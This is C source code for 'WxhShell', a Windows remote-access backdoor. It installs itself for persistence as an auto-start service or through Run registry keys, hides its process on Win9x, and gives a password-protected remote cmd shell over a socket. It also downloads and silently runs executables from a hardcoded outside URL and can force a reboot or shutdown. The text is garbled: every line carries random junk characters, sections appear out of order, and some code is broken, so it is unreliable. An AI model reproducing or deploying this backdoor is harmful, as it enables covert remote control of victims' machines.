    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]>sMu]biH  
    else { .g}Y! l  
    closesocket(wsh); kIt1kw  
    ExitThread(0); PiR`4Tu  
    } tC f@v'1t  
    break; ?&1%&?cg9  
    } rSW{1o'  
  // 获取shell C;70,!3  
  case 's': { V)`Q0}  
    CmdShell(wsh); G~*R6x2g  
    closesocket(wsh); YWi Y[  
    ExitThread(0); CSm(yB{|pC  
    break; \4 t;{_  
  } 5HvYy *B/  
  // 退出 Xe/7rhov  
  case 'x': { 95D(0qv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lu1T+@t  
    CloseIt(wsh); d]=>U^K  
    break; #&{)`+!"  
    } l>HB0o  
  // 离开 =5%}CbUU)4  
  case 'q': { s\3ZE11L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;lTgihW-  
    closesocket(wsh); <_bGV  
    WSACleanup(); =*y{y)B^g  
    exit(1); !a5e{QG0  
    break; }_Sgor83n  
        } i~HS"n  
  } mUb2U&6(  
  } [vdC$9z,  
q>#P|  
  // 提示信息 D{[i_K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pc~)4>X<  
} ;]/cCi  
  } JvW!w)$pY  
wYHyVY2tj2  
  return; )GC[xo4bg  
} aO\@5i_r  
FW<YN;  
// shell模块句柄 Gh'{O/F4*  
int CmdShell(SOCKET sock) :J5CmU $  
{ wLQM]$O  
STARTUPINFO si; *;.:UR[i  
ZeroMemory(&si,sizeof(si)); `5~<)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /dVcNo3"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D%'rq  
PROCESS_INFORMATION ProcessInfo; n^epC>a"b  
char cmdline[]="cmd"; (G"/C7q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KiNluGNt  
  return 0; L=<,+m[!  
} u C`)?f*I  
"r{ ^Y??  
// 自身启动模式 z]i/hU  
int StartFromService(void) mO\=# Q>  
{ yLt?XhRlp  
typedef struct ]b&qC (  
{ e=Kr>~q=  
  DWORD ExitStatus; cXOb=  
  DWORD PebBaseAddress; )jRaQ~Sm  
  DWORD AffinityMask; q]*:RI?wGT  
  DWORD BasePriority; nQ'AB~ Do  
  ULONG UniqueProcessId; n] n3/wpO  
  ULONG InheritedFromUniqueProcessId; EmcwX4|  
}   PROCESS_BASIC_INFORMATION; +(hr5  
P$;_YLr  
PROCNTQSIP NtQueryInformationProcess; _P]k6z+  
v[?eL0Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *_yp]z"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :3*0o3C/  
Bk1gE((  
  HANDLE             hProcess; %5bN@XD  
  PROCESS_BASIC_INFORMATION pbi; HmEU;UbO-  
|<7nf75c}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zhde1JE  
  if(NULL == hInst ) return 0; r\{; ~V  
-Ar 3>d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K<Y-/t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7R om#Kl:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  _$4vk  
/E6 Tt  
  if (!NtQueryInformationProcess) return 0; "{(4  
+ f?xVW<h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8c'E  
  if(!hProcess) return 0; ^S`c-N  
qUp DmH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; = P {]3K  
R:DW>LB  
  CloseHandle(hProcess); j6)@kW9x  
V0 OT_F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $yg}HS7HC  
if(hProcess==NULL) return 0; !7[Rhk7bW  
dCMWv~>  
HMODULE hMod; ~4~>; e  
char procName[255]; kv3jbSKCT  
unsigned long cbNeeded; axi%5:I  
}+f@$L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); re} P  
-{fbZk&A  
  CloseHandle(hProcess); uU00ZPS*G[  
Nb;Yti@Y.  
if(strstr(procName,"services")) return 1; // 以服务启动 1Q$Z'E}SK@  
;zvg]  %  
  return 0; // 注册表启动 =Wk!mGc  
} u7<s_M3%N  
+#y[sKa  
// 主模块 E>?T<!r~j  
int StartWxhshell(LPSTR lpCmdLine) Tp/+{|~  
{ )zVD!eG_9  
  SOCKET wsl; 5 gbJTh<JU  
BOOL val=TRUE; n.Q?@\}2  
  int port=0; Y 1vSwS%{T  
  struct sockaddr_in door; l*yJU3PW  
L$FLQyDR  
  if(wscfg.ws_autoins) Install(); r0\cgCn  
~3z10IG  
port=atoi(lpCmdLine); &wZ:$lK#o  
'4qi^$|\  
if(port<=0) port=wscfg.ws_port; t=ry\h{Pc  
Si]8*>}-B  
  WSADATA data; hzc2c.gcF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Em R#)c~(W  
1]v.Qu<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]E)gMf   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BY$%gIB6>  
  door.sin_family = AF_INET; '?k*wEu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); > c7fg^@  
  door.sin_port = htons(port); ZUMzWK5Th  
&`63"^y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~>ACMO  
closesocket(wsl); 8<uKzb(O:  
return 1; T;}pMRd%  
} BfF$  
W%.Kr-[?`o  
  if(listen(wsl,2) == INVALID_SOCKET) { 8\t~ *@"  
closesocket(wsl); nK6{_Y>  
return 1; (a1s~  
} [N925?--S  
  Wxhshell(wsl); I "9S  
  WSACleanup(); r!etj3  
o% !a  
return 0; dd>stp   
(Y!@,rKd   
} W04-D  
6546"sU  
// 以NT服务方式启动 UMw1&"0:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l>S~)FNwXJ  
{ 'zZN]P  
DWORD   status = 0; 6`{Y#2T  
  DWORD   specificError = 0xfffffff; HkEfBQmh  
{v56k8uZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <`a!%_LC [  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bi)1*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O%y.  
  serviceStatus.dwWin32ExitCode     = 0; $ T.c>13  
  serviceStatus.dwServiceSpecificExitCode = 0; V\WqA8  
  serviceStatus.dwCheckPoint       = 0; 6<R!`N 6  
  serviceStatus.dwWaitHint       = 0; ]7-*1kL8=~  
^6|Q$]}Ok  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =ex71qj)  
  if (hServiceStatusHandle==0) return; NS;,(v{*N  
X[ }5hZcX  
status = GetLastError(); 9=~"^dp54%  
  if (status!=NO_ERROR) Y_)!U`>N?  
{ /N7j5v(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {o4m3[C7=}  
    serviceStatus.dwCheckPoint       = 0; +EJIYvkFm  
    serviceStatus.dwWaitHint       = 0; y'pAhdF  
    serviceStatus.dwWin32ExitCode     = status; kl_JJX6jPP  
    serviceStatus.dwServiceSpecificExitCode = specificError; DnP>ed"M!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a&p|>,WS  
    return; tD.md _E  
  } |28z4.  
 =h\,-8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;dNKe.`Dg  
  serviceStatus.dwCheckPoint       = 0; cRK1JxU  
  serviceStatus.dwWaitHint       = 0; [GX5jD#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cWP34;NNM  
} m49GCo k+  
`\P#TBM  
// 处理NT服务事件,比如:启动、停止 ?A;x%8}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ksT2_Ic  
{ nWfOiw-t  
switch(fdwControl) J"L+`i  
{ e-ILUzT  
case SERVICE_CONTROL_STOP: (u+3{Eb  
  serviceStatus.dwWin32ExitCode = 0; 5vxJ|Hse@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &[}b HX /  
  serviceStatus.dwCheckPoint   = 0; =U!M,zw4  
  serviceStatus.dwWaitHint     = 0; \IbGNV`q  
  { g>A*kY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p@y?xZS  
  } {A2(a7vV  
  return; ?`,<l#sj  
case SERVICE_CONTROL_PAUSE: >fPa>[_1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9"K EHf!  
  break; +ZEj(fd9  
case SERVICE_CONTROL_CONTINUE: #TM+Vd$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lf{9=;  
  break; /mX/ "~  
case SERVICE_CONTROL_INTERROGATE: _$]3&P  
  break; ] hGU.C"(  
}; Lqb9gUJ:U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d:.S]OI0  
} Ly0^ L-~|  
UmcPpZ  
// 标准应用程序主函数 Q\z6/1:9Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fwK5p?Xhm  
{ ~oy =2Q<Z  
d`q<!qFZh  
// 获取操作系统版本 `h}fS4CO  
OsIsNt=GetOsVer(); I{U7BZy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $' }rBPA/  
-'r4@='6}  
  // 从命令行安装 :3J, t//c  
  if(strpbrk(lpCmdLine,"iI")) Install(); @9lV~,,U  
9AO`Zk{/Ez  
  // 下载执行文件 &#^^UT(nj  
if(wscfg.ws_downexe) { /]zn8 d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VAX@'iZr  
  WinExec(wscfg.ws_filenam,SW_HIDE); w{l}(:xPp  
} |*ss`W7F,2  
6e0tA()F  
if(!OsIsNt) { y_boJ  
// 如果时win9x,隐藏进程并且设置为注册表启动  L_3Ao'SA  
HideProc(); $L7Z_JD5  
StartWxhshell(lpCmdLine); k!l\|~  
} tBC`(7E}  
else v1h\ 6r'  
  if(StartFromService()) mQdF+b1o  
  // 以服务方式启动 \9j +ejGf  
  StartServiceCtrlDispatcher(DispatchTable); (Ild>_Tdb`  
else 2CcUClP$  
  // 普通方式启动 gb+iy$o-  
  StartWxhshell(lpCmdLine); ICA p  
U:"X *  
return 0; D])&>  
} blO(Th&  
LH/lnrN  
|LhVANz  
#t N9#w[K{  
=========================================== Z OJ<^t}  
j5\z7  
x7\b-EC  
]!CMo+  
O(x1Ja,&  
}huj%Pnk )  
" 3-x ;_  
*\Z9=8yK  
#include <stdio.h> s^f7w  
#include <string.h> K#Ia19au5  
#include <windows.h> yp}J+/PX}  
#include <winsock2.h> QS7<7+  
#include <winsvc.h> wW &q)WOi  
#include <urlmon.h> hOFC8g  
O0^m_  
#pragma comment (lib, "Ws2_32.lib") )Y4;@pEU  
#pragma comment (lib, "urlmon.lib") W]Bc7JM]T+  
#gW"k;7P  
#define MAX_USER   100 // 最大客户端连接数 eXKpum~  
#define BUF_SOCK   200 // sock buffer c8z6-6`i0  
#define KEY_BUFF   255 // 输入 buffer Wh).%K(t  
s&v7<)*q  
#define REBOOT     0   // 重启 Uh[MB wK  
#define SHUTDOWN   1   // 关机 >b\{y}[  
`Iwl\x[A  
#define DEF_PORT   5000 // 监听端口 3yGo{uW  
qzon);#7w  
#define REG_LEN     16   // 注册表键长度 T.bn~Z#f  
#define SVC_LEN     80   // NT服务名长度 x[u4>f  
hTfq>jIB_  
// 从dll定义API lw+54lZX|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ob3)bI oM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _[)f<`!g_V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hk&op P9)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^wass_8  
qwhDv+o  
// wxhshell配置信息 >EE}P|=-  
struct WSCFG { M./1.k&@  
  int ws_port;         // 监听端口 /{6&99SJcc  
  char ws_passstr[REG_LEN]; // 口令 \ -n&z;`  
  int ws_autoins;       // 安装标记, 1=yes 0=no z }3` 9  
  char ws_regname[REG_LEN]; // 注册表键名 t@X{qm:%Z  
  char ws_svcname[REG_LEN]; // 服务名 8'WoG]E_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r+=%Ag  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9'5<b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?)NgODU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [0bp1S~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i.Rxx, *?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pyUzHF0  
Fs$mLa  
}; *@;bWUJ  
-HwqR Y s  
// default Wxhshell configuration 2CMWJi  
struct WSCFG wscfg={DEF_PORT, B,V:Qs6"  
    "xuhuanlingzhe", pk8`suZ  
    1, KWS\iu  
    "Wxhshell", (usFT_  
    "Wxhshell", Y{KN:|i.!  
            "WxhShell Service", v[~~q  
    "Wrsky Windows CmdShell Service", D :)HK D.  
    "Please Input Your Password: ", FPb4VJ|xm  
  1, lvOM1I  
  "http://www.wrsky.com/wxhshell.exe", ,_K y'B  
  "Wxhshell.exe" -6W$@,K  
    }; P(o GNKAS  
[L>mrHqG  
// 消息定义模块 r\A|fiL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ppuJC ' GW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y sDai<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %y)]Q|  
char *msg_ws_ext="\n\rExit.";  sWyx_  
char *msg_ws_end="\n\rQuit."; F4NM q&_  
char *msg_ws_boot="\n\rReboot..."; 'QSj-  
char *msg_ws_poff="\n\rShutdown..."; 7Y?59 [  
char *msg_ws_down="\n\rSave to "; _U|rTil  
Ddh  
char *msg_ws_err="\n\rErr!"; \J(kevX  
char *msg_ws_ok="\n\rOK!"; _TwE ym.V  
&8;Fi2}(L  
char ExeFile[MAX_PATH]; / z m+  
int nUser = 0; w-];!;%  
HANDLE handles[MAX_USER]; btOx\y}  
int OsIsNt; [jz@d\k$_  
HQZJK82  
SERVICE_STATUS       serviceStatus; wZ5k|5KtW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HCKocL/]h  
j ];#=+  
// 函数声明 EG8%X"p  
int Install(void); ZU$QwI8  
int Uninstall(void); ep6V2R  
int DownloadFile(char *sURL, SOCKET wsh); 18^K!:Of  
int Boot(int flag); wG&Z7C b  
void HideProc(void); |w"G4J6ha  
int GetOsVer(void); =}" P;4:  
int Wxhshell(SOCKET wsl); nt%fJ k  
void TalkWithClient(void *cs); !a4`SjOgu  
int CmdShell(SOCKET sock); ')T*cLQ><  
int StartFromService(void); ]`q]\EH  
int StartWxhshell(LPSTR lpCmdLine); y*Gq VA[  
^V~^[Yp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (M?VB*sm0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ov5g`uud  
)gx*;z@  
// 数据结构和表定义 t*`G@Nj  
SERVICE_TABLE_ENTRY DispatchTable[] = )EK\3q  
{ %CZGV7JdA  
{wscfg.ws_svcname, NTServiceMain}, IL,iu  
{NULL, NULL} e6>[ZC  
}; QFB2,k6jN  
D W>O]\I  
// 自我安装 CHi t{ @9  
int Install(void) 1@N4Y9o  
{ aA -j  
  char svExeFile[MAX_PATH]; KBoW(OP4'  
  HKEY key; vjVa),2  
  strcpy(svExeFile,ExeFile); 3!h3flE  
+W/{UddeKU  
// 如果是win9x系统,修改注册表设为自启动 TtrV -X>L  
if(!OsIsNt) { .E 9$j<SP-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 610u!_-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _aU :[v*!  
  RegCloseKey(key); hltUf5m'b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BI<(]`FP;s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J vl-=~  
  RegCloseKey(key); }R~C<3u\2  
  return 0; og1Cj{0  
    } *x)u9rO]  
  } dP<i/@21Wm  
} 8PqlbLo1  
else { yjOZed;M  
k~2FlRoC^  
// 如果是NT以上系统,安装为系统服务 tI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7H4\AG\>  
if (schSCManager!=0) m2l0`l~T8  
{ 9&HaEAme  
  SC_HANDLE schService = CreateService EUq6) K  
  ( +f}w+  
  schSCManager, 5k c?:U&  
  wscfg.ws_svcname, _dc,}C  
  wscfg.ws_svcdisp, ^U^K\rq 1u  
  SERVICE_ALL_ACCESS, XM3~]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z1h6Y>j  
  SERVICE_AUTO_START, -^*8D(j*  
  SERVICE_ERROR_NORMAL, ]vuxeu[cu,  
  svExeFile, djn<Oc`  
  NULL, t Kjk<  
  NULL, uG/b Cb+V  
  NULL, ;xSlRTNT=6  
  NULL, ug/P>0  
  NULL Ko!a`I2M}  
  ); ]E*xn  
  if (schService!=0) 6J965eM'[  
  { &m`@6\N(  
  CloseServiceHandle(schService); <899r \  
  CloseServiceHandle(schSCManager); X;{U?`b-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;T<'GP'/r  
  strcat(svExeFile,wscfg.ws_svcname); mp0s>R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =T$2Qo8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BOl*. t  
  RegCloseKey(key); P#/s5D8  
  return 0;  ?QcS$i  
    } IFXnGDG$  
  } 'h> l_A  
  CloseServiceHandle(schSCManager); i7?OZh*f  
} 4)9Pgp :  
} ?#:!!.I:  
L(/wsw~y*  
return 1; [3] h(D  
} "^t;V+Io  
R?] S<Z  
// 自我卸载 6f J5Y iQ  
int Uninstall(void) 3P*"$fH  
{ rY"EW"y  
  HKEY key; '1lz`CAB+  
/pp;3JPf  
if(!OsIsNt) { s ~i,R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6a6N$v"  
  RegDeleteValue(key,wscfg.ws_regname); j[w5#]&%  
  RegCloseKey(key); nB |fw"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n* z;%'0  
  RegDeleteValue(key,wscfg.ws_regname); xQ=L2pX  
  RegCloseKey(key); ,f .#-  
  return 0; kCKCJ }N  
  } VKr oikz@]  
} &RlYw#*1.  
} 6w0r)  
else { ~gEd (  
{z# W-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PR>%@-Vgj  
if (schSCManager!=0) mTa^At"  
{ V/8yW3]Xy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <h~_7Dn  
  if (schService!=0) w'Jo).OW~  
  { 6o GF6C  
  if(DeleteService(schService)!=0) { g1q%b%8T  
  CloseServiceHandle(schService); rgu7g  
  CloseServiceHandle(schSCManager); n{E + r  
  return 0; 1gH>B5`  
  } Byns6k  
  CloseServiceHandle(schService); oX-h7;SD  
  } {Yt i  
  CloseServiceHandle(schSCManager); 3 J\&t4q  
} 1c $iW>0K  
} WoWBZ;+U  
U&6f:IV  
return 1; %[m%QP1;p  
} 9riKSp:5  
 ePI)~  
// 从指定url下载文件 x{{ZV]  
int DownloadFile(char *sURL, SOCKET wsh) ;7yt,b5&C  
{ LYS[qLpf  
  HRESULT hr; Q#I?nBin  
char seps[]= "/"; Y.o-e)zX  
char *token; gd;e-.  
char *file; }x:nhy`  
char myURL[MAX_PATH]; uX,ln(9I*H  
char myFILE[MAX_PATH]; @,TCg1@QJ  
NZ~"2~Hh  
strcpy(myURL,sURL); v&u8Ks  
  token=strtok(myURL,seps); =A^VzIj(  
  while(token!=NULL) {FM:\/  
  { 8KS9!*.iZ  
    file=token; qC YXkZ%`  
  token=strtok(NULL,seps); N:rnH:g+:  
  } 12yX`9h>  
2aGK}sS6  
GetCurrentDirectory(MAX_PATH,myFILE); u}KEH@yv  
strcat(myFILE, "\\"); _6'HBE  
strcat(myFILE, file); ht^xc c  
  send(wsh,myFILE,strlen(myFILE),0); 1)h+xY  
send(wsh,"...",3,0); p"/B3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sm @Ot~;  
  if(hr==S_OK) n&}ILLc  
return 0; #)$@Kvm  
else t>%J3S>'ZV  
return 1; ' |K408i   
<7sGA{  
} !4 G9`>n  
nK|WzUtp  
// 系统电源模块 ZIM 5$JdCv  
int Boot(int flag) ?!kPW^gD  
{ ]+i~Cbj  
  HANDLE hToken; i^DZK&B@u  
  TOKEN_PRIVILEGES tkp; {KalVZX2R  
fwi( qx1=}  
  if(OsIsNt) { EXYr_$gRs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W%cJ#R[o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g"L$}#iTsl  
    tkp.PrivilegeCount = 1; fRd^@@,[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v/WvT!6V`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gd%E337d  
if(flag==REBOOT) { ~!W{C_*N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _8"%nV  
  return 0; qU,u(El  
} 6'qC *r   
else { m%km@G$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TwXqk>J  
  return 0; )F) (Hg  
} V3$Yr"rZ;  
  } IPT\d^|f  
  else { .`K<Iug1  
if(flag==REBOOT) { |Ptv)D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o Kfm=TbY  
  return 0; [Dq!t1  
} Qtpw0t"  
else { J-g<-!>RM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) myeez+@ m  
  return 0; Th)Z?\8zk  
} /<$\)|r  
} &udlt//^%  
* "Z5bKL  
return 1; [<M~6]  
} Q)s[ls  
_]whHS+  
// win9x进程隐藏模块 6vQCghI  
void HideProc(void) !nkjp[p  
{ 3@/\j^U  
3KW4 ]qo~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gK8{=A0c  
  if ( hKernel != NULL ) zn'F9rWx>  
  { F"<TV&xf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &{c.JDO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A7qKY-4B  
    FreeLibrary(hKernel); .v{ok,&  
  } o1 kY|cnGH  
89[5a  
return; ub/9T-#l  
} +bw>9VmG  
LJ Aqk2k  
// 获取操作系统版本 D-tm'APq  
int GetOsVer(void) RrGFGn{  
{ MIJ^ n(-G  
  OSVERSIONINFO winfo; vP{22P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [Q2"OG@Q  
  GetVersionEx(&winfo); EBX+fzjQo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >qBQfz:U>  
  return 1; hY@rt,! 8  
  else Io81zA  
  return 0; :"9P {xe^  
} $R2iSu{kO  
yIL6Sb  
// 客户端句柄模块 w+NdEE4H9z  
int Wxhshell(SOCKET wsl) MM*B.y~TxZ  
{ .A. VOf_  
  SOCKET wsh; "[rChso  
  struct sockaddr_in client; 5QR=$?K  
  DWORD myID; U2u\Q1  
^"e|)4_5\  
  while(nUser<MAX_USER) D!- 78h  
{ dC7YVs_,#  
  int nSize=sizeof(client); $-}a<UFE;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .m]"lH*  
  if(wsh==INVALID_SOCKET) return 1; %&RF;qa2xu  
<B?@,S>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,X05&'@Z  
if(handles[nUser]==0) a$*)d($  
  closesocket(wsh); ,u1Yn}  
else /Jjub3>Q  
  nUser++; ;|.^_Xs  
  } J .r^"K\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -r6cK,WVU  
t0 1@h_ WS  
  return 0; NT6OGBl&  
} 1gwnG&  
"+g9}g  
// 关闭 socket H <|ilL'fX  
void CloseIt(SOCKET wsh) kf8-#Q/B  
{ \~]HfDu  
closesocket(wsh); Z-fQ{&a{  
nUser--; c&{1Z&Y  
ExitThread(0); .K=r.tf~  
} ?+]prbt)  
3~I|KF7x  
// 客户端请求句柄 M?i U$qI  
void TalkWithClient(void *cs) BB?vc( d  
{ *ydkx\pT  
7<<-\7`  
  SOCKET wsh=(SOCKET)cs; mUmU_L u8  
  char pwd[SVC_LEN]; *v}8n95*2  
  char cmd[KEY_BUFF]; x +=zG4Hm  
char chr[1]; LyaFWx   
int i,j; aL9 yNj}2  
/A8ua=Kn  
  while (nUser < MAX_USER) { (aAv7kB&  
{{G`0i2KV  
if(wscfg.ws_passstr) { B^;P:S<yG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G234UjN%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); INi9`M.h  
  //ZeroMemory(pwd,KEY_BUFF); OlW|qj  
      i=0; ''{REFjK7  
  while(i<SVC_LEN) { Fgf5OHX  
9w^lRbn  
  // 设置超时 3C,G~)= x  
  fd_set FdRead; -|ho 8alF  
  struct timeval TimeOut; cmLGMlFT  
  FD_ZERO(&FdRead); .l| [e  
  FD_SET(wsh,&FdRead); 66P'87G  
  TimeOut.tv_sec=8; #y<KO`Es  
  TimeOut.tv_usec=0; iYqZBLf{S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t<)Cbple\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L\cd=&b`  
JnW G_|m)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1S&GhJ<wJ  
  pwd=chr[0]; #H'j;=]:  
  if(chr[0]==0xd || chr[0]==0xa) { _2eRH@T  
  pwd=0; gRnn}LL^  
  break; ,g.*Mx`-  
  } 'pCZx9 *c  
  i++; k$u\\`i]oC  
    } {:D8@jb[  
|[)k5nUQ|  
  // 如果是非法用户,关闭 socket 7# ~v<M6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0rt@4"~~w  
} 7$;#-l  
y$ L@!r/s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k<.$7Pl3U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S}O>@ %  
R&>G6jZ?8  
while(1) { /6=IL  
:y/1Jf'2f  
  ZeroMemory(cmd,KEY_BUFF); 03ol6y )C  
#ujry. m  
      // 自动支持客户端 telnet标准   J`E,Xw>2  
  j=0; r8.`W\SKX  
  while(j<KEY_BUFF) { ($Cy-p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #%4XZ3j#j;  
  cmd[j]=chr[0]; "!V-@F$@N  
  if(chr[0]==0xa || chr[0]==0xd) { R`[jkJrc  
  cmd[j]=0; ''bh{ .x  
  break; DFgQ1:6[  
  } ?Uq;>  
  j++; -YDA,.Ic?  
    } 0}'xoYv f  
InO;DA\  
  // 下载文件 !"v[\||1  
  if(strstr(cmd,"http://")) { .3X5~OH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k? <.yr1  
  if(DownloadFile(cmd,wsh)) !lVOZ %  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'YKzs;y$  
  else )x!b{5'"7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y FJw<5&  
  } Bi.,@7|>  
  else { 6`PQP;   
syJLcK+e  
    switch(cmd[0]) { ?*)Q[P5  
  e(=() :4is  
